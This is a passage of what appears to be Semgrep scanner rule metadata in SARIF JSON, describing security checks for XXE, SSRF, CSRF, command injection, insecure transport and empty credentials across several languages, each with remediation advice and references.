secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.diesel.pg-connection-empty-password.pg-connection-empty-password","id":"rust.secrets.diesel.pg-connection-empty-password.pg-connection-empty-password","name":"rust.secrets.diesel.pg-connection-empty-password.pg-connection-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.diesel.pg-connection-empty-password.pg-connection-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for outgoing connections to ftp servers with the ftp package. FTP does not encrypt traffic, possibly leading to PII being sent plaintext over the network. Instead, connect via the SFTP protocol."},"help":{"markdown":"Checks for outgoing connections to ftp servers with the ftp package. FTP does not encrypt traffic, possibly leading to PII being sent plaintext over the network. Instead, connect via the SFTP protocol.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.ftp-request.ftp-request)\n - [https://godoc.org/github.com/jlaffaye/ftp#Dial](https://godoc.org/github.com/jlaffaye/ftp#Dial)\n - [https://github.com/jlaffaye/ftp](https://github.com/jlaffaye/ftp)\n","text":"Checks for outgoing connections to ftp servers with the ftp package. FTP does not encrypt traffic, possibly leading to PII being sent plaintext over the network. Instead, connect via the SFTP protocol."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.ftp-request.ftp-request","id":"problem-based-packs.insecure-transport.go-stdlib.ftp-request.ftp-request","name":"problem-based-packs.insecure-transport.go-stdlib.ftp-request.ftp-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.go-stdlib.ftp-request.ftp-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Markup escaping disabled. This can be used with some template engines to escape disabling of HTML entities, which can lead to XSS attacks."},"help":{"markdown":"Markup escaping disabled. This can be used with some template engines to escape disabling of HTML entities, which can lead to XSS attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.detect-disable-mustache-escape.detect-disable-mustache-escape)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Markup escaping disabled. This can be used with some template engines to escape disabling of HTML entities, which can lead to XSS attacks."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.detect-disable-mustache-escape.detect-disable-mustache-escape","id":"javascript.lang.security.detect-disable-mustache-escape.detect-disable-mustache-escape","name":"javascript.lang.security.detect-disable-mustache-escape.detect-disable-mustache-escape","properties":{"precision":"very-high","tags":["CWE-116: Improper Encoding or Escaping of Output","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.detect-disable-mustache-escape.detect-disable-mustache-escape"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for requests sent via http.NewRequest to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS."},"help":{"markdown":"Checks for requests sent via http.NewRequest to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.http-customized-request.http-customized-request)\n - [https://golang.org/pkg/net/http/#NewRequest](https://golang.org/pkg/net/http/#NewRequest)\n","text":"Checks for requests sent via http.NewRequest to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.http-customized-request.http-customized-request","id":"problem-based-packs.insecure-transport.go-stdlib.http-customized-request.http-customized-request","name":"problem-based-packs.insecure-transport.go-stdlib.http-customized-request.http-customized-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.go-stdlib.http-customized-request.http-customized-request"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xxe.xmlreader-xxe.xmlreader-xxe)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.xxe.xmlreader-xxe.xmlreader-xxe","id":"java.lang.security.xxe.xmlreader-xxe.xmlreader-xxe","name":"java.lang.security.xxe.xmlreader-xxe.xmlreader-xxe","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xxe.xmlreader-xxe.xmlreader-xxe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.openai.openai-empty-secret.openai-empty-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.openai.openai-empty-secret.openai-empty-secret","id":"go.secrets.openai.openai-empty-secret.openai-empty-secret","name":"go.secrets.openai.openai-empty-secret.openai-empty-secret","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.openai.openai-empty-secret.openai-empty-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. This vulnerability can be prevented by getting the CSRF token from the request and including it in a response header by including `$W.Header.Set(X-CSRF-Token\", csrf.Token($R))` in the function before calling `$W.Write()`, or by wrapping the `$FUNC` call with `csrf.Protect(authKey)($FUNC)` and using a key retrieved for instance from an environment variable."},"help":{"markdown":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. This vulnerability can be prevented by getting the CSRF token from the request and including it in a response header by including `$W.Header.Set(X-CSRF-Token\", csrf.Token($R))` in the function before calling `$W.Write()`, or by wrapping the `$FUNC` call with `csrf.Protect(authKey)($FUNC)` and using a key retrieved for instance from an environment variable.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.csrf.gorilla-csrf.go-net-http-handlefunc-without-gorilla-csrf-protection.go-net-http-handlefunc-without-gorilla-csrf-protection)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)\n - [https://github.com/gorilla/csrf](https://github.com/gorilla/csrf)\n","text":"The application does not appear to verify inbound requests which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. This vulnerability can be prevented by getting the CSRF token from the request and including it in a response header by including `$W.Header.Set(X-CSRF-Token\", csrf.Token($R))` in the function before calling `$W.Write()`, or by wrapping the `$FUNC` call with `csrf.Protect(authKey)($FUNC)` and using a key retrieved for instance from an environment variable."},"helpUri":"https://semgrep.dev/r/go.net.csrf.gorilla-csrf.go-net-http-handlefunc-without-gorilla-csrf-protection.go-net-http-handlefunc-without-gorilla-csrf-protection","id":"go.net.csrf.gorilla-csrf.go-net-http-handlefunc-without-gorilla-csrf-protection.go-net-http-handlefunc-without-gorilla-csrf-protection","name":"go.net.csrf.gorilla-csrf.go-net-http-handlefunc-without-gorilla-csrf-protection.go-net-http-handlefunc-without-gorilla-csrf-protection","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.csrf.gorilla-csrf.go-net-http-handlefunc-without-gorilla-csrf-protection.go-net-http-handlefunc-without-gorilla-csrf-protection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Default session middleware settings: `domain` not set. It indicates the domain of the cookie; use it to compare against the domain of the server in which the URL is being requested. If they match, then check the path attribute next."},"help":{"markdown":"Default session middleware settings: `domain` not set. It indicates the domain of the cookie; use it to compare against the domain of the server in which the URL is being requested. If they match, then check the path attribute next.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-domain)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Default session middleware settings: `domain` not set. It indicates the domain of the cookie; use it to compare against the domain of the server in which the URL is being requested. If they match, then check the path attribute next."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-domain","id":"javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-domain","name":"javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-domain","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","MEDIUM CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-domain"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected the decoding of a JWT token without a verify step. Don't use `ParseUnverified` unless you know what you're doing This method parses the token but doesn't validate the signature. It's only ever useful in cases where you know the signature is valid (because it has been checked previously in the stack) and you want to extract values from it."},"help":{"markdown":"Detected the decoding of a JWT token without a verify step. Don't use `ParseUnverified` unless you know what you're doing This method parses the token but doesn't validate the signature. It's only ever useful in cases where you know the signature is valid (because it has been checked previously in the stack) and you want to extract values from it.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.jwt-go.security.audit.jwt-parse-unverified.jwt-go-parse-unverified)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"Detected the decoding of a JWT token without a verify step. Don't use `ParseUnverified` unless you know what you're doing This method parses the token but doesn't validate the signature. It's only ever useful in cases where you know the signature is valid (because it has been checked previously in the stack) and you want to extract values from it."},"helpUri":"https://semgrep.dev/r/go.jwt-go.security.audit.jwt-parse-unverified.jwt-go-parse-unverified","id":"go.jwt-go.security.audit.jwt-parse-unverified.jwt-go-parse-unverified","name":"go.jwt-go.security.audit.jwt-parse-unverified.jwt-go-parse-unverified","properties":{"precision":"very-high","tags":["CWE-345: Insufficient Verification of Data Authenticity","MEDIUM CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.jwt-go.security.audit.jwt-parse-unverified.jwt-go-parse-unverified"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.xxe.saxparserfactory-xxe.saxparserfactory-xxe)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/returntocorp/java-xxe-research](https://github.com/returntocorp/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/kotlin.xxe.saxparserfactory-xxe.saxparserfactory-xxe","id":"kotlin.xxe.saxparserfactory-xxe.saxparserfactory-xxe","name":"kotlin.xxe.saxparserfactory-xxe.saxparserfactory-xxe","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.xxe.saxparserfactory-xxe.saxparserfactory-xxe"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.actix.ssrf.reqwest-taint.reqwest-taint)\n - [https://docs.rs/reqwest/latest/reqwest/](https://docs.rs/reqwest/latest/reqwest/)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/rust.actix.ssrf.reqwest-taint.reqwest-taint","id":"rust.actix.ssrf.reqwest-taint.reqwest-taint","name":"rust.actix.ssrf.reqwest-taint.reqwest-taint","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: rust.actix.ssrf.reqwest-taint.reqwest-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Using variable interpolation `${{...}}` with `github` context data in a `run:` step could allow an attacker to inject their own code into the runner. This would allow them to steal secrets and code. `github` context data can have arbitrary user input and should be treated as untrusted. Instead, use an intermediate environment variable with `env:` to store the data and use the environment variable in the `run:` script. Be sure to use double-quotes the environment variable, like this: \"$ENVVAR\"."},"help":{"markdown":"Using variable interpolation `${{...}}` with `github` context data in a `run:` step could allow an attacker to inject their own code into the runner. This would allow them to steal secrets and code. `github` context data can have arbitrary user input and should be treated as untrusted. Instead, use an intermediate environment variable with `env:` to store the data and use the environment variable in the `run:` script. Be sure to use double-quotes the environment variable, like this: \"$ENVVAR\".\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.github-actions.security.run-shell-injection.run-shell-injection)\n - [https://docs.github.com/en/actions/learn-github-actions/security-hardening-for-github-actions#understanding-the-risk-of-script-injections](https://docs.github.com/en/actions/learn-github-actions/security-hardening-for-github-actions#understanding-the-risk-of-script-injections)\n - [https://securitylab.github.com/research/github-actions-untrusted-input/](https://securitylab.github.com/research/github-actions-untrusted-input/)\n","text":"Using variable interpolation `${{...}}` with `github` context data in a `run:` step could allow an attacker to inject their own code into the runner. This would allow them to steal secrets and code. `github` context data can have arbitrary user input and should be treated as untrusted. Instead, use an intermediate environment variable with `env:` to store the data and use the environment variable in the `run:` script. Be sure to use double-quotes the environment variable, like this: \"$ENVVAR\"."},"helpUri":"https://semgrep.dev/r/yaml.github-actions.security.run-shell-injection.run-shell-injection","id":"yaml.github-actions.security.run-shell-injection.run-shell-injection","name":"yaml.github-actions.security.run-shell-injection.run-shell-injection","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.github-actions.security.run-shell-injection.run-shell-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"If unverified user data can reach the `puppeteer` methods it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `puppeteer` methods it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.express-puppeteer-injection.express-puppeteer-injection)\n - [https://pptr.dev/api/puppeteer.page](https://pptr.dev/api/puppeteer.page)\n","text":"If unverified user data can reach the `puppeteer` methods it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.express.security.express-puppeteer-injection.express-puppeteer-injection","id":"javascript.express.security.express-puppeteer-injection.express-puppeteer-injection","name":"javascript.express.security.express-puppeteer-injection.express-puppeteer-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.express-puppeteer-injection.express-puppeteer-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.os.tainted-os-command-stdlib-django.tainted-os-command-stdlib-django)\n - [https://docs.python.org/3/library/os.html](https://docs.python.org/3/library/os.html)\n - [https://docs.python.org/3/library/subprocess.html#subprocess.Popen](https://docs.python.org/3/library/subprocess.html#subprocess.Popen)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n - [https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html](https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/python.django.os.tainted-os-command-stdlib-django.tainted-os-command-stdlib-django","id":"python.django.os.tainted-os-command-stdlib-django.tainted-os-command-stdlib-django","name":"python.django.os.tainted-os-command-stdlib-django.tainted-os-command-stdlib-django","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: 